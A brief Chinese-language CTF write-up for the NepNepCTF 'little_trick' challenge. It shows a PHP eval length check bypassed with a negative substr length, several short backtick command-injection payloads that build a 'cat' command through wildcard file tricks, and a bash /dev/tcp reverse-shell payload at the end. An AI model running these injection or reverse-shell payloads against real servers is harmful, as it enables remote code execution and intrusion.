NepNepCTF-little_trick
- 这道题当时也是非预期了,记录一下其他人的解法
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
题目比较简单,只要命令长度小于13即可。intval($len)<8
这里直接让len等于-1即可
例如:
<?php
echo substr("cat /flagg",0,-1);
?>
//result:cat /flag
具体原因参考:https://www.php.net/substr/
直接ls
看看
直接读取即可
其他人的解法:
?nep=`$nep`;ls>z&len=7
?nep=`$nep`;>cat&len=7
?nep=`$nep`;*>z&len=7
或者
`ls>z`;&len=7
`>cat`;&len=7
`*>z`;&len=6
两个解法其实是一样的,就是先将文件列表存储在一个文件z
里面,写一个叫cat的文件。最后用通配符匹配变成一条命令执行
相当于执行了 cat flag.php index.php
反弹shell
?nep=`$_GET[1]`;;&len=-1&1=bash -i >& /dev/tcp/ip/10110 0>&1